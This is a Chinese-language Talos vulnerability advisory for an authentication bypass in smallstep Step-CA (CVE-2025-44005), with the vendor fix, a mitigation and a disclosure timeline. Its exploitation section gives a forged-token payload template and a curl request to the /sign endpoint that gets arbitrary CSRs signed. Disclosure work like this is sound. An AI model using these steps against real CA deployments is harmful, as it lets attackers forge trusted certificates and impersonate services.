TALOS-2025-2242 || 思科Talos情报集团 - 全面威胁情报
Talos漏洞报告
TALOS-2025-2242
smallstep Step-CA 证书签发身份验证绕过漏洞
2025年12月17日
CVE编号 CVE-2025-44005
概述 攻击者可以绕过授权检查,强制Step CA的ACME或SCEP配置器在不完成特定协议授权检查的情况下创建证书。
确认受影响的版本 以下版本已由Talos测试或验证,或由供应商确认为易受攻击。
- smallstep Step-CA 0.28.4
- smallstep Step-CA v0.28.3
产品网址 Step-CA - https://smallstep.com/docs/step-ca/index.html
CVSSv3 评分 10.0 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
CWE CWE-287 - 不正确的身份验证
详情 Smallstep的step-ca是一个开源、轻量级的证书颁发机构(CA),旨在简化用于安全身份验证和加密的数字证书管理。它提供了自动化签发和续订内部服务、设备和用户证书的工具。通过支持ACME、OIDC和SSH等现代协议,step-ca使得在云原生和DevOps环境中部署和管理证书变得容易。
Smallstep的step-ca平台为用户设置证书配置器时提供了多种选择。其中一种选择是设置使用ACME协议的配置器。此配置器旨在与另一组促进ACME协议流程的ACME API端点一起使用。
服务中还存在用于其他配置器的端点。这些端点根据所使用的配置器执行令牌授权。这些端点似乎并非设计用于处理ACME。当从ACME配置器请求新令牌时,会抛出一个错误,指示不支持令牌身份验证。
然而,由于指定了ACME配置器的令牌被非ACME端点所接受,导致存在一个漏洞。例如,/sign 端点使用配置器的 AuthorizeSign 方法来验证提供的令牌。以下是ACME的 AuthorizeSign 方法:
https://github.com/smallstep/certificates/blob/master/authority/provisioner/acme.go#L315
|
|
上述方法不对提供的令牌执行任何验证。这意味着任何将配置器标识为ACME配置器的令牌都将被视为有效。
攻击者可以轻松创建一个满足这些要求的令牌,并且能够使用用户step-ca服务中设置的CA对任何CSR进行签名。
要利用此漏洞,攻击者需要:
- 创建一个新的CSR。
- 通过使用任意密钥对以下有效载荷进行签名来创建一个令牌:
1 2 3 4 5 6 7 8 9 10 11 12 13 14{ "aud": "acme/{ACME配置器名称}", "exp": {时间戳}, "iat": {时间戳}, "iss": "{任意值}", "jti": "{任意值}", "nbf": {时间戳}, "sans": [ "{任意值}" ], "sha": "{任意值}", "sub": "{任意值}", "user": {} } $ curl -k https://{step-ca-url}/sign -d "{\"csr\":\"$CSR\",\"ott\":\"$TOKEN\"}"1 2 3 4{ "crt": "-----BEGIN CERTIFICATE-----\n..." ... }
供应商响应
在v0.29.0版本中,ACME和SCEP配置器已更新,以阻止提供令牌的请求。
如果无法升级到v0.29.0或更高版本,可以通过阻止对/sign端点的访问来缓解此攻击。
时间线
- 2025年9月29日 - 首次联系供应商
- 2025年9月30日 - 向供应商披露
- 2025年12月2日 - 供应商发布补丁
- 2025年12月17日 - 公开发布
致谢 思科高级安全计划组(ASIG)的Stephen Kubik